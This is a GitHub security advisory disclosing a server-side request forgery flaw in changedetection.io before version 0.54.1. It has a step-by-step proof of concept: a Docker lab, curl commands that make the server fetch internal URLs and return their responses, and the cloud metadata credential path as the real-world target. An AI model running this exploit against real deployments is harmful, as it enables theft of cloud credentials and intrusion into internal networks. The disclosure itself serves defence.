GitHub Advisoryadvisory · PyPI
GHSA-3c45-4pj5-ch7m changedetection.io is Vulnerable to SSRF via Watch URLs
HIGH
Official page ↗
- Aliases
- CVE-2026-27696
- Ecosystem
- PyPI
- Packages
- changedetection.io
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-02-25
Affected packages
• PyPI changedetection.io: < 0.54.1 → fixed in 0.54.1
Description
Summary
Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:
• `http://169.254.169.254`
• `http://10.0.0.1/`
• `http://127.0.0.1/`
The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.
This is particularly severe because:
• The fetched content is stored and viewable - this is not a blind SSRF
• Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources
• By default, no password is set - the web UI is accessible without authentication
• Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials
---
Details
The URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60–122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:
```python
changedetectionio/validate_url.py:60-122
@lru_cache(maxsize=1000)
def is_safe_valid_url(test_url):
safe_protocol_regex = '^(http|https|ftp):'
# Check protocol
pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)
if not pattern.match(test_url.strip()):
return False
# Check URL format
if not validators.url(test_url, simple_host=True):
return False
return True # No IP address validation performed
```
The HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83–89) then makes the request without any additional IP validation:
```python
changedetectionio/content_fetchers/requests.py:83-89
r = session.request(method=request_method,
url=url, # User-provided URL, no IP validation
headers=request_headers,
timeout=timeout,
proxies=proxies,
verify=False)
```
The response content is stored and made available to the user:
```python
changedetectionio/content_fetchers/requests.py:140-142
self.content = r.text # Text content stored
self.raw_content = r.content # Raw bytes stored
```
This validation gap exists in all entry points that accept watch URLs:
• Web UI: `changedetectionio/store/__init__.py:718`
• REST API: `changedetectionio/api/watch.py:163, 428`
• Import API: `changedetectionio/api/import.py:188`
All use the same `is_safe_valid_url()` function, so a single fix addresses all paths.
---
PoC
Prerequisites
• A changedetection.io instance (Docker deployment)
• Network access to the instance (default port 5000)
Step 1: Deploy changedetection.io with an internal service
Create `internal-service.py`:
```python
!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({
'Code': 'Success',
'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',
'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'
}).encode())
HTTPServer(('0.0.0.0', 80), H).serve_forever()
```
Create `Dockerfile.internal`:
```
FROM python:3.11-slim
COPY internal-service.py /server.py
CMD ["python3", "/server.py"]
```
Create `docker-compose.yml`:
```yaml
version: "3.8"
services:
changedetection:
image: ghcr.io/dgtlmoon/changedetection.io
ports:
• "5000:5000"
volumes:
• ./datastore:/datastore
internal-service:
build:
context: .
dockerfile: Dockerfile.internal
```
Start the stack:
```bash
docker compose up -d
```
Step 2: Add a watch for the internal service
Open `http://localhost:5000/` in a browser (no password required by default).
In the URL field, enter:
```
http://internal-service/
```
Click Watch and wait for the first check to complete.
Step 3: View the exfiltrated data
Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials:
```json
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
...
}
```
Step 4: Verify via API (alternative)
```bash
Get the API key (visible in Settings page of the unauthenticated web UI)
API_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \
python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])")
Create a watch via API
WATCH_RESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \
-H "x-api-key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"url": "http://internal-service/"}')
WATCH_UUID=$(echo "$WATCH_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])")
echo "Watch created: $WATCH_UUID"
Wait for the first fetch to complete
echo "Waiting 30s for first fetch..."
sleep 30
Retrieve the exfiltrated data via API
LATEST_TS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history" \
-H "x-api-key: $API_KEY" | \
python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')")
echo "=== EXFILTRATED DATA ==="
curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS" \
-H "x-api-key: $API_KEY"
```
Expected output — the internal service’s response containing simulated credentials:
```json
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
...
}
```
In a real cloud deployment, replacing `http://internal-service/` with:
```bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
would return real AWS IAM credentials.
---
Impact
Who is impacted:
All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.
What an attacker can do:
• Steal cloud credentials: Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens
• Scan internal networks: Discover internal services by adding watches for internal IP ranges and observing responses
• Access internal services: Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet
• Persistent access: Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources
• No authentication required by default: The web UI has no password set by default, allowing any user with network access to exploit this vulnerability
---
Suggested Remediation
Add IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:
```python
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'), # Loopback
ipaddress.ip_network('10.0.0.0/8'), # Private (RFC 1918)
ipaddress.ip_network('172.16.0.0/12'), # Private (RFC 1918)
ipaddress.ip_network('192.168.0.0/16'), # Private (RFC 1918)
ipaddres…
Related
Alias · CVE (1)
- CVE-2026-27696 changedetection.io is a free open source web page change detection tool. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness